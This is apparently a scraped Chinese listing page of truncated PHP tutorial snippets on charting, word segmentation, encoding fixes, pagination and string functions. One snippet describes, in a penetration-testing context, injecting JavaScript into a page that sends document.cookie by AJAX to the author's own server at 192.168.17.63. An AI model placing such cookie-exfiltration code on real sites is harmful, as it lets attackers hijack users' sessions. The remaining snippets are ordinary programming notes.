Time of Update: 2016-07-29
本文執行個體講述了PHP圖形操作之Jpgraph學習筆記。分享給大家供大家參考,具體如下:一、Jpgraph安裝配置下載Jpgraph安裝包解壓後放置磁碟中,(最好是放在和網頁一起)修改php.ini檔案:1、記憶體 memory_limit=X,至少為32M2、執行時間 max_executi/p>3、緩衝 output_buffering 注釋掉緩衝,便於調試二、使用Jpgraph建立圖形的基本步驟(必要的)1、包含所需要的類庫檔案複製代碼 代碼如下:require_once();
Time of Update: 2016-07-29
在滲透的過程中,可以在網頁中插入JS代碼來擷取cookie:document.cookie那麼擷取到的cookie如何傳到我們自己的伺服器呢?在這裡,我使用的是AJAX技術。但是Ajax有一個跨域的問題,所以需要再http頭部再進行設定。這裡主要講cookie的提交。先看一段JS代碼:xmlhttp.open("GET","http://192.168.17.63/HelloPhp/receiveCookie.php?cookie="+document.cookie,true);這裡將從
Time of Update: 2016-07-29
本文執行個體講述了php實現scws中文分詞搜尋的方法。分享給大家供大家參考,具體如下:1、4個檔案(本站下載地址。)解壓後,放到一個地方 eg:E:/wamp/scws2、php.ini 中配置extension = php_scws.dll scws.default.charset = utf8 //配置預設的編碼方式scws.default.fpath = "E:/wamp/scws" //加壓後檔案的路徑3、使用$so = scws_new();
Time of Update: 2016-07-29
提到Web開發,就不得不提到HTML,它在若干年以來一直作為Web使用者介面設計的事實標準。雖然現在WAP/XML等頁面指令碼的使用使得 HTML作為一枝獨秀的形勢難以維繫,但是如果要編寫前端PHP的Web應用,開發人員仍然需要瞭解HTML語言,尤其是HTML的表單部分。在本章,我們將學習如下內容:? 使用Dreamweaver設計HTML表單? 使用PHP發送與接收表單資料? PHP表單多頁的傳值及處理? 使用PHP驗證使用者輸入? 在PHP中防止一些輕量級的攻擊?
Time of Update: 2016-07-29
php串連資料庫有三種方法,剛剛發現通過mysql_connect,mysql_query串連已被廢棄,而現在推薦的是通過“物件導向方法”和“PDO方法”串連資料庫。 而我在使用物件導向的方法串連時,查詢出來的結果中文無法顯示,網上給的大部分解決辦法都是針對老式串連方法的解決辦法,不過最終還是找到瞭解決辦法。 大體的串連方法如下:header("Content-type: text/html;
Time of Update: 2016-07-29
本文執行個體講述了php自訂分頁類。分享給大家供大家參考,具體如下:each_disNums=intval($each_disNums); $this->nums=intval($nums); if(!$current_page){ $this->current_page=1; }else{ $this->current_page=intval($current_page); } $this->sub_pages=intval($sub_pages);
Time of Update: 2016-07-29
PHP還是比較常用的,於是我研究了一下PHP二維數組。在處理php數組的時候,有一種需求特別的頻繁,如下二維數組:$arr = array(1=>array('id' => 5,'name' => '張三'),2=>array('id' => 6,'name' => '李四'));目的就是要取到key為name的集合,得到這個結果:$arr2 = array(0=>'張三',1=>'李四');這裡有幾種方法:1:最簡單的,foreach遍曆數組:foreach ($arr as $key =>
Time of Update: 2016-07-29
不知算不算手賤,把VPS伺服器上的php升級到7.0, 雖然7.x與之前的相容性是很高的,但移除了一大堆過時用法,而某些老應用仍然在使用。對個人wordpress網站裡出現的錯誤,修正記錄如下。全部是外掛程式,wordpress官方程式,是沒有問題的。mysql_escape_string() 函數改為addslashes()wp-thread-comment外掛程式
Time of Update: 2016-07-29
本文執行個體講述了PHP實現逐行刪除檔案右側空格的方法。分享給大家供大家參考,具體如下:在編輯整理代碼的過程中發現網上的一些代碼經常會有不少的右側空格,偶爾會影響到代碼的排版與閱讀,所以寫了一段簡單的php代碼來逐行刪除檔案右側的空格,並儲存到新的檔案中。帶有右側空格的demo.txt檔案(該檔案是PHP逐行讀取功能代碼)如下:$file = fopen("welcome.txt", "r") or exit("Unable to open file!"); //Output a line
Time of Update: 2016-07-29
問題產生本機nginx做檔案伺服器(使用nginx-upload-module模組),使用django做應用伺服器,當檔案上傳到nginx後,將處理後的檔案資訊反饋給django服務,django處理後回傳response值。在返回response值時候出現中文編碼問題。思路(1)當遇到編碼問題,首先想到了python的中文編碼解決 (2)第一步不能解決後,把注意力回到nginx上步驟一.python 整體編碼,設定編碼為utf8import
Time of Update: 2016-07-29
emoji就是Emoji,在手機裡面已經是很流行使用的一種表情。面臨問題:插入Emoji表情,儲存到資料庫時報錯:SQLException: Incorrect string value: '\xF0\x9F\x98\x84' for column 'review' at row 1UTF-8編碼有可能是兩個、三個、四個位元組。Emoji表情是4個位元組,而Mysql的utf8編碼最多3個位元組,所以資料插不進去。解決方案:1、修改資料表結構中的字元集為
Time of Update: 2016-07-29
需求:需要把個人、微博或QQ帳號的頭像作為應用的頭像,這些頭像有可能到期或不可用,所以需要將這些圖片先下載到本地,然後再上傳到七牛圖片伺服器上上,然後引用七牛的圖片地址。以下是codeIgniter中的寫法:/** * 資訊頁面 */class Test extends Wap_base{/** * 建構函式 */ public function __construct() { parent::__construct(); } /** *
Time of Update: 2016-07-29
今天給大家分享一下如何利用PHP內建的方法,來截取漢字。大家注意哦,截取漢字和截取字元的方法是不一樣的,因為一個漢字會因為編碼不同,占的字元數量會不同,會是2或者3個字元!下面我講講具體方法: function getH($str){ // 利用preg_split函數,將漢字字串拆分成數組,第一個參數是正則匹配,必須加上u,因為是utf8編碼 //
Time of Update: 2016-07-29
在上海的PHP學習之旅今年9月份,我來到上海兄弟連進行php的學習,至今已有3個月了。這3個月是辛苦而充實的。給了我一種和學校截然不同的感覺。在這裡,與其說是學習,還不如說是正式工作前的實習。上課第一天,老師就告訴我們在兄弟聯,我們不是學生,而是學員。每天我們都要掛上學員證才能進班學習,到班時間也是嚴格規定的,若是遲到,即是違反規章制度,需要交罰款。教室內,玩手機,看電影等一切娛樂活動都是不允許的,違者還是得扣分,罰款。每天晚自習時間到11點,在這之前離開就是早退,還是違規。總之,這裡有一系列嚴
Time of Update: 2016-07-29
$url = 'http://mf1905.com/upload/video_img/df3074c98ec5124ad47c52ff59f74e04_middle.jpeg'; function http_get_data($url) { $ch = curl_init (); curl_setopt ( $ch, CURLOPT_CUSTOMREQUEST, 'GET' );
Time of Update: 2016-07-29
安全執行緒宏定義TSRM/TSRM.h檔案中有如下定義#define TSRMLS_FETCH()void ***tsrm_ls = (void ***) ts_resource_ex(0, NULL)#define TSRMLS_Dvoid ***tsrm_ls#define TSRMLS_DC, TSRMLS_D#define TSRMLS_Ctsrm_ls#define TSRMLS_CC, TSRMLS_C1.在定義方法時(形參)加上TSRMLS_D 或者TSRMLS_DC(有參數)2.
Time of Update: 2016-07-29
時間差函數function tranTime($time){ $rtime = date("m-d H:i", $time); $htime = date("H:i", $time); $time = time() - $time; if ($time 倒計時天數小時分秒函數function get_countdown($unix_time = '') { if (empty($unix_time)) return false; if
Time of Update: 2016-07-29
這兩天一直在寫python。主動防禦系統一直缺一個發送SMS語音總機的功能,於是嘗試著寫了一個PHP做背景模組// 連主庫$link = mysql_connect(SAE_MYSQL_HOST_M .':'. SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); if($link) { mysql_select_db(SAE_MYSQL_DB,$link); $getid =
Time of Update: 2016-07-29
PHP處理字串的方法非常多,今晚我們挑選了一個非常具有代表性的而且使用特別廣泛的函數講解,它就是字符串拆分函數:mb_substr(),希望大家認真學習領悟! // mb_substr()有幾個參數,一般是3個或者4個參數,我們尤其說一下最後一個參數,是設定編碼的 // 下面我們通過案例看編碼不同,結果有什麼巨大區別 $str = '我們都有一個夢想rventrc'; $str = mb_substr($str, 0,3); //
Time of Update: 2016-07-29
在IE瀏覽器下,POST資料中包含中文,後台擷取到後會變成亂碼,解決方案如下:$keys = $_REQUEST['keys'];if ($keys != '') { $encode = mb_detect_encoding ($keys, array("ASCII", "UTF-8", "GB2312", "GBK", "BIG5")); if ($encode != "UTF-8") { $keys = iconv ("gb2312